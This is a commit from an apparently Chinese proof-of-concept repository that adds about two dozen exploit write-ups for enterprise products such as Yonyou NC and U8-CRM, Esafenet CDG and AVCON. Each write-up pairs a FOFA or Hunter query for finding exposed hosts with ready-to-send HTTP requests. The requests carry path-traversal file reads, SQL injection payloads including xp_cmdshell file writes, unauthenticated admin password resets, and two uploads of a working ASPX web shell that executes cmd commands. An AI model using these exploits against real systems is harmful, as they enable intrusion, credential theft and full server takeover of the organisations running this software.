dontian122/POC
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

08-17更新漏洞

Browse Source
This commit is contained in:
wy876
2024-08-17 11:26:38 +08:00
parent 13fda87f0d
commit c19942e301
28 changed files with 607 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

23
AVCON-系统管理平台download.action存在任意文件读取漏洞.md Normal file
View File

@@ -0,0 +1,23 @@
# AVCON-系统管理平台download.action存在任意文件读取漏洞
AVCON-系统管理平台download.action存在任意文件读取漏洞，通过该漏洞读取配置文件信息，造成信息泄露漏洞
## fofa
```yaml
title="AVCON-系统管理平台"
```
## poc
```java
GET /download.action?filename=../../../../../../../../etc/passwd HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
```

28
AVCON-网络视频服务系统editusercommit.php存在任意用户重置密码漏洞.md Normal file
View File

@@ -0,0 +1,28 @@
# AVCON-网络视频服务系统editusercommit.php存在任意用户重置密码漏洞
AVCON-网络视频服务系统通过接口 `/avcon/av_user/editusercommit.php?currentpage=1` 重置admin用户的密码，从而登录系统后台。
## fofa
```yaml
title=="avcon 网络视频会议系统"
```
## poc
```java
POST /avcon/av_user/editusercommit.php?currentpage=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 226
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=4
userid=admin&username=administration&password=admin&rpassword=admin&question=admin&answer=123&gender=%E7%94%B7&birthday=0000-00-00&edutypeid=0&phone=&mobile=&email=&address=&postcode=&go=-2&confirm=+++%E7%A1%AE%E5%AE%9A+++
```

10
DeDecms接口sys_verifies.php存在任意文件读取漏洞.md Normal file
View File

@@ -0,0 +1,10 @@
# DeDecms接口sys_verifies.php存在任意文件读取漏洞
需前台注册用户权限。
## poc
```java
http://ip/dede/sys_verifies.php?action=view&filename=../../../../../etc/passwd
```

31
README.md
View File

@@ -1,6 +1,35 @@
# 漏洞收集
收集整理漏洞EXP/POC,大部分漏洞来源网络，目前收集整理了900多个poc/exp，善用CTRL+F搜索
## 2024.08.17 新增漏洞
- 易宝OA-BasicService.asmx存在SQL注入漏洞
- 章管家updatePwd.htm存在任意账号密码重置漏洞
- 智慧校园(安校易)管理系统FileUpAd.aspx任意文件上传漏洞
- 用友crm客户关系管理help.php存在任意文件读取漏洞
- 方天云智慧平台系统setImg.ashx存在文件上传漏洞
- 乐享智能运维管理平台getToken存在SQL注入漏洞
- ZoneMinder系统sort接口存在SQL注入漏洞
- WookTeam轻量级的团队在线协作系统接口searchinfo存在SQL注入漏洞
- DeDecms接口sys_verifies.php存在任意文件读取漏洞
- 用友U8-CRM系统接口attrlist存在SQL注入漏洞
- 红海云eHR系统pc.mob存在sql注入漏洞
- 用友NC系统FileManager接口存在任意文件上传漏洞
- 杭州三一谦成科技车辆监控服务平台接口platformSql存在SQL注入漏洞
- 亿赛通电子文档安全管理系统logincontroller接口存在远程代码执行漏洞
- 亿赛通电子文档安全管理系统getAllUsers身份绕过漏洞
- 用友U8-CRM系统接口reservationcomplete.php存在SQL注入漏洞
- 用友U8-CRM接口exportdictionary.php存在SQL注入漏洞
- 方正全媒体采编系统存在syn.do信息泄露漏洞
- 亿赛通电子文档安全管理系统LogDownLoadService存在SQL注入漏洞
- 用友NC接口download存在SQL注入漏洞
- 科荣AIO管理系统endTime参数存在SQL注入漏洞
- 智互联(深圳)科技有限公司SRM智联云采系统download存在任意文件读取漏洞
- 东华医疗协同办公系统templateFile存在任意文件下载漏洞
- 智能停车管理系统ToLogin存在SQL注入漏洞
- AVCON-系统管理平台download.action存在任意文件读取漏洞
- AVCON-网络视频服务系统editusercommit.php存在任意用户重置密码漏洞
## 2024.08.13 新增漏洞
- 用友U8-Cloud系统BusinessRefAction存在SQL注入漏洞
@@ -904,7 +933,7 @@
## 2024.01.03 新增漏洞
- 天融信TOPSEC_maincgi.cgi远程命令执行
- 天融信TOPSEC_static_convert远程命令执行漏洞
- 用友CRM系统存在逻辑漏洞直接登录后台
- 用友CRM系统reservationcomplete.php存在逻辑漏洞直接登录后台
- 亿赛通电子文档uploadFile接口文件上传漏洞
## 2023.12.31 新增漏洞

25
WookTeam轻量级的团队在线协作系统接口searchinfo存在SQL注入漏洞.md Normal file
View File

@@ -0,0 +1,25 @@
# WookTeam轻量级的团队在线协作系统接口searchinfo存在SQL注入漏洞
WookTeam /api/users/searchinfo 接口存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。
## fofa
```yaml
title="Wookteam"
```
## poc
```java
GET /api/users/searchinfo?where[username]=1%27%29+UNION+ALL+SELECT+NULL%2CCONCAT%280x7e%2Cuser%28%29%2C0x7e%29%2CNULL%2CNULL%2CNULL%23 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: keep-alive
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
```
![image-20240814095848331](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408140959983.png)

14
ZoneMinder系统sort接口存在SQL注入漏洞.md Normal file
View File

@@ -0,0 +1,14 @@
# ZoneMinder系统sort接口存在SQL注入漏洞
ZoneMinder 是一款免费、开源的闭路电视软件应用程序，专为 Linux 开发，支持 IP、USB 和模拟摄像机。
## poc
```java
http://host:port/zm/index.php?sort=**if(now()=sysdate()%2Csleep(6)%2C0)**&order=desc&limit=20&view=request&request=watch&mid=1
```
```java
http://host:port/zm/index.php?limit=20&mid=-1%20OR%203*2*1=6%20AND%20000322=000322&order=desc&request=watch&sort=Id&view=request
```

19
东华医疗协同办公系统templateFile存在任意文件下载漏洞.md Normal file
View File

@@ -0,0 +1,19 @@
# 东华医疗协同办公系统templateFile存在任意文件下载漏洞
东华医疗协同办公系统 templateFile 存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。
## fofa
```yaml
body="东华医疗协同办公系统"
```
## poc
```java
GET /common/templateFile?template_name=../../WEB-INF/web.xml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
```
![img](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408162053596.png)

18
乐享智能运维管理平台getToken存在SQL注入漏洞.md Normal file
View File

@@ -0,0 +1,18 @@
# 乐享智能运维管理平台getToken存在SQL注入漏洞
乐享智能运维管理平台getToken存在SQL注入漏洞
## hunter
```yaml
title="乐享智能运维管理平台"
```
## poc
```java
POST /auth-ui/v1/api/user/token/getToken HTTP/1.1
account=admin');SELECT PG_SLEEP(5)--&password=6e0f9e14344c5406a0cf5a3b4dfb665f87f4a771a31f7edbb5c72874a32b2957
```

24
亿赛通电子文档安全管理系统LogDownLoadService存在SQL注入漏洞.md Normal file
View File

@@ -0,0 +1,24 @@
# 亿赛通电子文档安全管理系统LogDownLoadService存在SQL注入漏洞
## fofa
```yaml
body="/CDGServer3/index.jsp"
```
## poc
```java
POST /CDGServer3/logManagement/LogDownLoadService HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X-Requested-With: XMLHttpRequest
command=downLoadLogFiles&currPage=1&fromurl=../user/dataSearch.jsp&logFileName=indsex.txt&id=-1';WAITFOR DELAY '0:0:5'--
```

35
亿赛通电子文档安全管理系统getAllUsers身份绕过漏洞.md Normal file
View File

@@ -0,0 +1,35 @@
# 亿赛通电子文档安全管理系统getAllUsers身份绕过漏洞
## FOFA
```YAML
body="/CDGServer3/index.jsp"
```
## poc
```java
POST /CDGServer3/openapi/getAllUsers HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
pageSize=10000&pageNumber=1
POST /CDGServer3/rpc/userManage/userPwdReset.js HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
userIds=test
```

21
亿赛通电子文档安全管理系统logincontroller接口存在远程代码执行漏洞.md Normal file
View File

@@ -0,0 +1,21 @@
# 亿赛通电子文档安全管理系统logincontroller接口存在远程代码执行漏洞
亿赛通电子文档安全管理系统 /CDGServer3/logincontroller 接口存在远程代码执行漏洞。
## fofa
```yaml
body="/CDGServer3/index.jsp"
```
## poc
```java
POST /CDGServer3/logincontroller HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Connection: close
fromurl=/LdapAjax&token=1&command=testConnection&hosts=ldap://192.168.10.1:1379/CN=account,OU=exp,DC=exp,DC=com&users=account&dns=CN=account,OU=exp,DC=exp,DC=com&dns2=OU=exp,DC=exp,DC=com&type=0&pwds=123456
```

31
方天云智慧平台系统setImg.ashx存在文件上传漏洞.md Normal file
View File

@@ -0,0 +1,31 @@
# 方天云智慧平台系统setImg.ashx存在文件上传漏洞
方天云智慧平台系统 setImg.ashx 接口处存在任意文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
## fofa
```java
body="AjaxMethods.asmx/GetCompanyItem"
```
## poc
```java
POST /Data/setImg.ashx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----21909179191068471382830692394
Connection: close
------21909179191068471382830692394
Content-Disposition: form-data; name="Filedata"; filename="asd.aspx"
Content-Type: image/jpeg
<%@ Page Language="Jscript" validateRequest="false" %><%var c=new System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " + Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
------21909179191068471382830692394--
```
文件路径`http://ip/UploadFile/CustomerFile/回显路径`

22
方正全媒体采编系统存在syn.do信息泄露漏洞.md Normal file
View File

@@ -0,0 +1,22 @@
# 方正全媒体采编系统存在syn.do信息泄露漏洞
方正全媒体采编系统存在syn.do信息泄露漏洞，攻击者可以查看到平台中所有用户的用户名。
## fofa
```yaml
app="FOUNDER-全媒体采编系统"
```
## poc
```java
GET /newsedit/assess/syn.do?type=org HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Length: 185Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
```
![image-20240816100116204](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408161001270.png)

30
易宝OA-BasicService.asmx存在SQL注入漏洞.md Normal file
View File

@@ -0,0 +1,30 @@
## 易宝OA-BasicService.asmx存在SQL注入漏洞
## fofa
```yaml
title="欢迎登录易宝OA系统"
```
## poc
```java
POST /WebService/BasicService.asmx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Content-Type: application/x-www-form-urlencoded
SOAPAction: "http://tempuri.org/GetStreamID"
Content-Length: 85
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetStreamID xmlns="http://tempuri.org/">
<tableName>';waitfor delay '0:0:6'--+</tableName>
<webservicePassword>{ac80457b-368d-4062-b2dd-ae4d490e1c4b}</webservicePassword>
</GetStreamID>
</soap:Body>
</soap:Envelope>
```

19
智互联(深圳)科技有限公司SRM智联云采系统download存在任意文件读取漏洞.md Normal file
View File

@@ -0,0 +1,19 @@
# 智互联(深圳)科技有限公司SRM智联云采系统download存在任意文件读取漏洞
智互联(深圳)科技有限公司SRM智联云采系统download存在任意文件读取漏洞
## fofa
```yaml
title=="SRM 2.0"
```
## poc
```java
GET /adpweb/static/%2e%2e;/a/sys/runtimeLog/download?path=c:\\windows\win.ini HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
```
![img](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408162052746.png)

31
智慧校园(安校易)管理系统FileUpAd.aspx任意文件上传漏洞.md Normal file
View File

@@ -0,0 +1,31 @@
## 智慧校园(安校易)管理系统FileUpAd.aspx任意文件上传漏洞
智慧校园(安校易)管理系统 FileUpAd.aspx 接口处存在任意文件上传漏洞，未经身份验证的攻击者通过漏洞上传恶意后门文件，执行任意代码，从而获取到服务器权限。
## fofa
```yaml
title="智慧综合管理平台登入"
```
## poc
```java
POST /Module/FileUpPage/FileUpAd.aspx?file_tmid=upload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----21909179191068471382830692394
Connection: close
------21909179191068471382830692394
Content-Disposition: form-data; name="File"; filename="asd.aspx"
Content-Type: image/jpeg
<%@ Page Language="Jscript" validateRequest="false" %><%var c=new System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " + Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
------21909179191068471382830692394--
```
文件路径`http://ip/imgnews/imgad/000000/upload.aspx?cmd=whoami`

22
智能停车管理系统ToLogin存在SQL注入漏洞.md Normal file
View File

@@ -0,0 +1,22 @@
# 智能停车管理系统ToLogin存在SQL注入漏洞
停车场后台管理系统 ToLogin 存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用&nbsp;SQL&nbsp;注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
## fofa
```yaml
icon_hash="938984120"
```
## poc
```java
POST /Login/ToLogin HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Admins_Account=1' AND (SELECT 8104 FROM (SELECT(SLEEP(5)))dEPM) AND 'JYpL'='JYpL&Admins_Pwd=
```
![img](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408162052998.png)

20
杭州三一谦成科技车辆监控服务平台接口platformSql存在SQL注入漏洞.md Normal file
View File

@@ -0,0 +1,20 @@
# 杭州三一谦成科技车辆监控服务平台接口platformSql存在SQL注入漏洞
杭州三一谦成科技车辆监控服务平台接口 /gps-web/platformSql 存在SQL 注入漏洞
## poc
```java
POST /gps-web/platformSql HTTP/1.1
Host:
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate
Accept: */* Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
action=EXEC_SQL&params=SELECT schema_name FROM information_schema.schemata
```

0
用友CRM系统存在逻辑漏洞直接登录后台.md → 用友CRM系统reservationcomplete.php存在逻辑漏洞直接登录后台.md
View File

15
用友NC接口download存在SQL注入漏洞.md Normal file
View File

@@ -0,0 +1,15 @@
# 用友NC接口download存在SQL注入漏洞
## fofa
```yaml
app="用友-UFIDA-NC"
```
## poc
```java
http://ip/portal/pt/psnImage/download?pageId=login&pk_psndoc=1%27)%20AND%206322=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(79)||CHR(66)||CHR(101),5)%20AND%20(%27rASZ%27=%27rASZ
```

25
用友NC系统FileManager接口存在任意文件上传漏洞.md Normal file
View File

@@ -0,0 +1,25 @@
# 用友NC系统FileManager接口存在任意文件上传漏洞
NC系统可利用/portal/pt/file/upload 接口中的 filename 参数及 billitem 参数实现任意文件上传，从而控制服务器
## fofa
```yaml
app="用友-UFIDA-NC"
```
## poc
```java
POST /portal/pt/file/upload?pageId=login&filemanager=nc.uap.lfw.file.FileManager&iscover=true&billitem=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwebapps%5Cnc_web%5C HTTP/1.1
Host:
Content-Type: multipart/form-data;boundary=d0b7a0d40eed0e32904c8017b09eb305
--d0b7a0d40eed0e32904c8017b09eb305
Content-Disposition: form-data; name="file"; filename="we.jsp"
Content-Type: text/plain
<%out.print("hello world");%>
--d0b7a0d40eed0e32904c8017b09eb305--
```

23
用友U8-CRM接口exportdictionary.php存在SQL注入漏洞.md Normal file
View File

@@ -0,0 +1,23 @@
# 用友U8-CRM接口exportdictionary.php存在SQL注入漏洞
用友U8-CRM接口 /devtools/tools/exportdictionary.ph p存在SQL注入漏洞
## hunter
```yaml
app.name="用友 CRM"
```
## poc
```java
GET /devtools/tools/exportdictionary.php?DontCheckLogin=1&value=1%27;WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bgsesstimeout-; TL_EXPANDED=REL_STAGE2012
```

22
用友U8-CRM系统接口attrlist存在SQL注入漏洞.md Normal file
View File

@@ -0,0 +1,22 @@
# 用友U8-CRM系统接口attrlist存在SQL注入漏洞
## hunter
```yaml
app.name="用友 CRM"
```
## poc
```java
POST /devtools/tools/attrlist.php?DontCheckLogin=1&isquery=1 HTTP/1.1
Host:
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded;
obj_type=1';WAITFOR DELAY '0:0:5'--
```

17
用友U8-CRM系统接口reservationcomplete.php存在SQL注入漏洞.md Normal file
View File

@@ -0,0 +1,17 @@
# 用友U8-CRM系统接口reservationcomplete.php存在SQL注入漏洞
用友U8-CRM系统接口 /bgt/reservationcomplete.php 存在SQL注入漏洞
## hunter
```yaml
app.name="用友 CRM"
```
## poc
```java
GET /bgt/reservationcomplete.php?DontCheckLogin=1&ID=1112;exec%20master..xp_cmdshell%20%27echo%20^%3C?php%20echo%20hello;?^%3E%20%3E%20D:\U8SOFT\turbocrm70\code\www\hello.php%27; HTTP/1.1
Host:
```

19
用友crm客户关系管理help.php存在任意文件读取漏洞.md Normal file
View File

@@ -0,0 +1,19 @@
# 用友crm客户关系管理help.php存在任意文件读取漏洞
## fofa
```yaml
body="用友 U8CRM"
```
## poc
```java
GET /pub/help.php?key=YTozOntpOjA7czoyNDoiLy4uLy4uLy4uL2FwYWNoZS9waHAuaW5pIjtpOjE7czoxOiIxIjtpOjI7czoxOiIyIjt9 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
```

22
科荣AIO管理系统endTime参数存在SQL注入漏洞.md Normal file
View File

@@ -0,0 +1,22 @@
# 科荣AIO管理系统endTime参数存在SQL注入漏洞
科荣AIO endTime接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
## fofa
```
body="changeAccount('8000')"
```
## poc
```
GET /moffice?op=showWorkPlanList&type=1&beginTime=1&endTime=1*&sid=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
```

23
章管家updatePwd.htm存在任意账号密码重置漏洞.md Normal file
View File

@@ -0,0 +1,23 @@
# 章管家updatePwd.htm存在任意账号密码重置漏洞
章管家是上海建业信息科技股份有限公司推出的一款针对传统印章风险管理提供的整套解决方案的工具。
```yaml
app="章管家-印章智慧管理平台"
```
## poc
```java
POST /app/updatePwd.htm HTTP/1.1
Host:
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Length: 87
Content-Type: application/x-www-form-urlencoded
mobile=18888888888&newPassword=12312dsa12&equipmentName=xxxxxx&version=4.0.0&token=dingtalk_token
```

19
红海云eHR系统pc.mob存在sql注入漏洞.md Normal file
View File

@@ -0,0 +1,19 @@
# 红海云eHR系统pc.mob存在sql注入漏洞
红海云eHR系统pc.mob存在sql注入漏洞
## fofa
```yaml
body="/RedseaPlatform/skins/images/favicon.ico"
```
## poc
```java
GET /RedseaPlatform/goApp/pc.mob?id=1%27%20AND%20(SELECT%204802%20FROM%20(SELECT(SLEEP(5)))ndMq)%20AND%20%27NEoX%27=%27NEoX HTTP/1.1
Host: {{Hostname}}
Cookie: JSESSIONID=905D36CF9349B41FBFB0203D2BAA8CCC
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
```